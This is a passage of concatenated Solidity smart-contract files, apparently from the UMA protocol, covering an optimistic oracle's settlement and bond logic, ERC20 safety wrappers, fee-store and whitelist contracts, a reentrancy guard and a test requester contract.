request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return boolean indicating true if price exists and false if not. */ function hasPrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (bool) { State state = getState(requester, identifier, timestamp, ancillaryData); return state == State.Settled || state == State.Resolved || state == State.Expired; } /** * @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute. * @param ancillaryData ancillary data of the price being requested. * @param requester sender of the initial price request. * @return the stampped ancillary bytes. */ function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) { return _stampAncillaryData(ancillaryData, requester); } function _getId( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private pure returns (bytes32) { return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData)); } function _settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private returns (uint256 payout) { State state = getState(requester, identifier, timestamp, ancillaryData); // Set it to settled so this function can never be entered again. Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.settled = true; if (state == State.Expired) { // In the expiry case, just pay back the proposer's bond and final fee along with the reward. request.resolvedPrice = request.proposedPrice; payout = request.bond.add(request.finalFee).add(request.reward); request.currency.safeTransfer(request.proposer, payout); } else if (state == State.Resolved) { // In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward). request.resolvedPrice = _getOracle().getPrice( identifier, timestamp, _stampAncillaryData(ancillaryData, requester) ); bool disputeSuccess = request.resolvedPrice != request.proposedPrice; uint256 bond = request.bond; // Unburned portion of the loser's bond = 1 - burned bond. uint256 unburnedBond = bond.sub(_computeBurnedBond(request)); // Winner gets: // - Their bond back. // - The unburned portion of the loser's bond. // - Their final fee back. // - The request reward (if not already refunded -- if refunded, it will be set to 0). payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward); request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout); } else { revert("_settle: not settleable"); } emit Settle( requester, request.proposer, request.disputer, identifier, timestamp, ancillaryData, request.resolvedPrice, payout ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice) {} catch {} } function _getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) private view returns (Request storage) { return requests[_getId(requester, identifier, timestamp, ancillaryData)]; } function _computeBurnedBond(Request storage request) private view returns (uint256) { // burnedBond = floor(bond / 2) return request.bond.div(2); } function _validateLiveness(uint256 _liveness) private pure { require(_liveness < 5200 weeks, "Liveness too large"); require(_liveness > 0, "Liveness cannot be 0"); } function _getOracle() internal view returns (OracleAncillaryInterface) { return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getCollateralWhitelist() internal view returns (AddressWhitelist) { return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist)); } function _getStore() internal view returns (StoreInterface) { return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store)); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it. function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) { return abi.encodePacked(ancillaryData, "OptimisticOracle", requester); } } pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title Interface that allows financial contracts to pay oracle fees for their use of the system. */ interface StoreInterface { /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable; /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external; /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty); /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due. */ function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OptimisticOracleInterface { // Struct representing the state of a price request. enum State { Invalid, // Never requested. Requested, // Requested, no other actions taken. Proposed, // Proposed, but not expired or disputed yet. Expired, // Proposed, not disputed, past liveness. Disputed, // Disputed, but no DVM price returned yet. Resolved, // Disputed and DVM price is available. Settled // Final price has been set in the contract (can get here from Expired or Resolved). } // Struct representing a price request. struct Request { address proposer; // Address of the proposer. address disputer; // Address of the disputer. IERC20 currency; // ERC20 token used to pay rewards and fees. bool settled; // True if the request is settled. bool refundOnDispute; // True if the requester should be refunded their reward on dispute. int256 proposedPrice; // Price that the proposer submitted. int256 resolvedPrice; // Price resolved once the request is settled. uint256 expirationTime; // Time at which the request auto-settles without a dispute. uint256 reward; // Amount of the currency to pay to the proposer on settlement. uint256 finalFee; // Final fee to pay to the Store upon request to the DVM. uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee. uint256 customLiveness; // Custom liveness value set by the requester. } // This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible // that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses // to accept a price request made with ancillary data length of a certain size. uint256 public constant ancillaryBytesLimit = 8192; /** * @notice Requests a new price. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data representing additional args being passed with the price request. * @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM. * @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0, * which could make sense if the contract requests and proposes the value in the same call or * provides its own reward system. * @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay. * This can be changed with a subsequent call to setBond(). */ function requestPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, IERC20 currency, uint256 reward ) external virtual returns (uint256 totalBond); /** * @notice Set the proposal bond associated with a price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param bond custom bond amount to set. * @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be * changed again with a subsequent call to setBond(). */ function setBond( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 bond ) external virtual returns (uint256 totalBond); /** * @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller * in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's * bond, so there is still profit to be made even if the reward is refunded. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. */ function setRefundOnDispute( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual; /** * @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before * being auto-resolved. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param customLiveness new custom liveness. */ function setCustomLiveness( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 customLiveness ) external virtual; /** * @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come * from this proposal. However, any bonds are pulled from the caller. * @param proposer address to set as the proposer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePriceFor( address proposer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) public virtual returns (uint256 totalBond); /** * @notice Proposes a price value for an existing price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) external virtual returns (uint256 totalBond); /** * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will * receive any rewards that come from this dispute. However, any bonds are pulled from the caller. * @param disputer address to set as the disputer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was value (the proposal was incorrect). */ function disputePriceFor( address disputer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public virtual returns (uint256 totalBond); /** * @notice Disputes a price value for an existing price request with an active proposal. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 totalBond); /** * @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled * or settleable. Note: this method is not view so that this call may actually settle the price request if it * hasn't been settled. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return resolved price. */ function settleAndGetPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (int256); /** * @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes * the returned bonds as well as additional rewards. */ function settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 payout); /** * @notice Gets the current data structure containing all information about a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the Request data structure. */ function getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (Request memory); function getState( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (State); /** * @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price). * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the State. */ function hasPrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract * is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol * and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol. */ contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Lockable.sol"; /** * @title A contract to track a whitelist of addresses. */ contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /** * @notice Adds an address to the whitelist. * @param newElement the new address to add. */ function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /** * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. */ function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /** * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. */ function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /** * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. */ function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../OptimisticOracle.sol"; // This is just a test contract to make requests to the optimistic oracle. contract OptimisticRequesterTest is OptimisticRequester { OptimisticOracle optimisticOracle; bool public shouldRevert = false; // State variables to track incoming calls. bytes32 public identifier; uint256 public timestamp; bytes public ancillaryData; uint256 public refund; int256 public price; // Implement collateralCurrency so that this contract simulates a financial contract whose collateral // token can be fetched by off-chain clients. IERC20 public collateralCurrency; // Manually set an expiration timestamp to simulate expiry price requests uint256 public expirationTimestamp; constructor(OptimisticOracle _optimisticOracle) public { optimisticOracle = _optimisticOracle; } function requestPrice( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, IERC20 currency, uint256 reward ) external { // Set collateral currency to last requested currency: collateralCurrency = currency; currency.approve(address(optimisticOracle), reward); optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward); } function settleAndGetPrice( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external returns (int256) { return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData); } function setBond( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 bond ) external { optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond); } function setRefundOnDispute( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external { optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData); } function setCustomLiveness( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 customLiveness ) external { optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness); } function setRevert(bool _shouldRevert) external { shouldRevert = _shouldRevert; } function setExpirationTimestamp(uint256 _expirationTimestamp) external { expirationTimestamp = _expirationTimestamp; } function clearState() external { delete identifier; delete timestamp; delete refund; delete price; } function priceProposed( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; } function priceDisputed( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, uint256 _refund ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; refund = _refund; } function priceSettled( bytes32 _identifier, uint256 _timestamp, bytes memory _ancillaryData, int256 _price ) external override { require(!shouldRevert); identifier = _identifier; timestamp = _timestamp; ancillaryData = _ancillaryData; price = _price; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/Withdrawable.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/StoreInterface.sol"; /** * @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token. */ contract Store is StoreInterface, Withdrawable, Testable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeERC20 for IERC20; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, Withdrawer } FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee. FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee. mapping(address => FixedPoint.Unsigned) public finalFees; uint256 public constant SECONDS_PER_WEEK = 604800; /**************************************** * EVENTS * ****************************************/ event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee); event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc); event NewFinalFee(FixedPoint.Unsigned newFinalFee); /** * @notice Construct the Store contract. */ constructor( FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc, FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc, address _timerAddress ) public Testable(_timerAddress) { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender); setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc); setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc); } /**************************************** * ORACLE FEE CALCULATION AND PAYMENT * ****************************************/ /** * @notice Pays Oracle fees in ETH to the store. * @dev To be used by contracts whose margin currency is ETH. */ function payOracleFees() external payable override { require(msg.value > 0, "Value sent can't be zero"); } /** * @notice Pays oracle fees in the margin currency, erc20Address, to the store. * @dev To be used if the margin currency is an ERC20 token rather than ETH. * @param erc20Address address of the ERC20 token used to pay the fee. * @param amount number of tokens to transfer. An approval for at least this amount must exist. */ function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override { IERC20 erc20 = IERC20(erc20Address); require(amount.isGreaterThan(0), "Amount sent can't be zero"); erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue); } /** * @notice Computes the regular oracle fees that a contract should pay for a period. * @dev The late penalty is similar to the regular fee in that is is charged per second over the period between * startTime and endTime. * * The late penalty percentage increases over time as follows: * * - 0-1 week since startTime: no late penalty * * - 1-2 weeks since startTime: 1x late penalty percentage is applied * * - 2-3 weeks since startTime: 2x late penalty percentage is applied * * - ... * * @param startTime defines the beginning time from which the fee is paid. * @param endTime end time until which the fee is paid. * @param pfc "profit from corruption", or the maximum amount of margin currency that a * token sponsor could extract from the contract through corrupting the price feed in their favor. * @return regularFee amount owed for the duration from start to end time for the given pfc. * @return latePenalty penalty percentage, if any, for paying the fee after the deadline. */ function computeRegularFee( uint256 startTime, uint256 endTime, FixedPoint.Unsigned calldata pfc ) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) { uint256 timeDiff = endTime.sub(startTime); // Multiply by the unscaled `timeDiff` first, to get more accurate results. regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc); // Compute how long ago the start time was to compute the delay penalty. uint256 paymentDelay = getCurrentTime().sub(startTime); // Compute the additional percentage (per second) that will be charged because of the penalty. // Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to // 0, causing no penalty to be charged. FixedPoint.Unsigned memory penaltyPercentagePerSecond = weeklyDelayFeePerSecondPerPfc.mul(paymentDelay.div(SECONDS_PER_WEEK)); // Apply the penaltyPercentagePerSecond to the payment period. latePenalty = pfc.mul(timeDiff).mul(penaltyPercentagePerSecond); } /** * @notice Computes the final oracle fees that a contract should pay at settlement. * @param currency token used to pay the final fee. * @return finalFee amount due denominated in units of `currency`. */ function computeFinalFee(address currency) external view override returns (FixedPoint.Unsigned memory) { return finalFees[currency]; } /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Sets a new oracle fee per second. * @param newFixedOracleFeePerSecondPerPfc new fee per second charged to use the oracle. */ function setFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned memory newFixedOracleFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { // Oracle fees at or over 100% don't make sense. require(newFixedOracleFeePerSecondPerPfc.isLessThan(1), "Fee must be < 100% per second."); fixedOracleFeePerSecondPerPfc = newFixedOracleFeePerSecondPerPfc; emit NewFixedOracleFeePerSecondPerPfc(newFixedOracleFeePerSecondPerPfc); } /** * @notice Sets a new weekly delay fee. * @param newWeeklyDelayFeePerSecondPerPfc fee escalation per week of late fee payment. */ function setWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned memory newWeeklyDelayFeePerSecondPerPfc) public onlyRoleHolder(uint256(Roles.Owner)) { require(newWeeklyDelayFeePerSecondPerPfc.isLessThan(1), "weekly delay fee must be < 100%"); weeklyDelayFeePerSecondPerPfc = newWeeklyDelayFeePerSecondPerPfc; emit NewWeeklyDelayFeePerSecondPerPfc(newWeeklyDelayFeePerSecondPerPfc); } /** * @notice Sets a new final fee for a particular currency. * @param currency defines the token currency used to pay the final fee. * @param newFinalFee final fee amount. */ function setFinalFee(address currency, FixedPoint.Unsigned memory newFinalFee) public onlyRoleHolder(uint256(Roles.Owner)) { finalFees[currency] = newFinalFee; emit NewFinalFee(newFinalFee); } } /** * Withdrawable contract. */ // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./MultiRole.sol"; /** * @title Base contract that allows a specific role to withdraw any ETH and/or ERC20 tokens that the contract holds. */ abstract contract Withdrawable is MultiRole { using SafeERC20 for IERC20; uint256 private roleId; /** * @notice Withdraws ETH from the contract. */ function withdraw(uint256 amount) external onlyRoleHolder(roleId) { Address.sendValue(msg.sender, amount); } /** * @notice Withdraws ERC20 tokens from the contract. * @param erc20Address ERC20 token to withdraw. * @param amount amount of tokens to withdraw. */ function withdrawErc20(address erc20Address, uint256 amount) external onlyRoleHolder(roleId) { IERC20 erc20 = IERC20(erc20Address); erc20.safeTransfer(msg.sender, amount); } /** * @notice Internal method that allows derived contracts to create a role for withdrawal. * @dev Either this method or `_setWithdrawRole` must be called by the derived class for this contract to function * properly. * @param newRoleId ID corresponding to role whose members can withdraw. * @param managingRoleId ID corresponding to managing role who can modify the withdrawable role's membership. * @param withdrawerAddress new manager of withdrawable role. */ function _createWithdrawRole( uint256 newRoleId, uint256 managingRoleId, address withdrawerAddress ) internal { roleId = newRoleId; _createExclusiveRole(newRoleId, managingRoleId, withdrawerAddress); } /** * @notice Internal method that allows derived contracts to choose the role for withdrawal. * @dev The role `setRoleId` must exist. Either this method or `_createWithdrawRole` must be * called by the derived class for this contract to function properly. * @param setRoleId ID corresponding to role whose members can withdraw. */ function _setWithdrawRole(uint256 setRoleId) internal onlyValidRole(setRoleId) { roleId = setRoleId; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../../oracle/interfaces/StoreInterface.sol"; import "../../oracle/interfaces/FinderInterface.sol"; import "../../oracle/interfaces/AdministrateeInterface.sol"; import "../../oracle/implementation/Constants.sol"; /** * @title FeePayer contract. * @notice Provides fee payment functionality for the ExpiringMultiParty contract. * contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`. */ abstract contract FeePayer is AdministrateeInterface, Testable, Lockable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; /**************************************** * FEE PAYER DATA STRUCTURES * ****************************************/ // The collateral currency used to back the positions in this contract. IERC20 public collateralCurrency; // Finder contract used to look up addresses for UMA system contracts. FinderInterface public finder; // Tracks the last block time when the fees were paid. uint256 private lastPaymentTime; // Tracks the cumulative fees that have been paid by the contract for use by derived contracts. // The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee). // Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ... // For example: // The cumulativeFeeMultiplier should start at 1. // If a 1% fee is charged, the multiplier should update to .99. // If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801). FixedPoint.Unsigned public cumulativeFeeMultiplier; /**************************************** * EVENTS * ****************************************/ event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee); event FinalFeesPaid(uint256 indexed amount); /**************************************** * MODIFIERS * ****************************************/ // modifier that calls payRegularFees(). modifier fees virtual { // Note: the regular fee is applied on every fee-accruing transaction, where the total change is simply the // regular fee applied linearly since the last 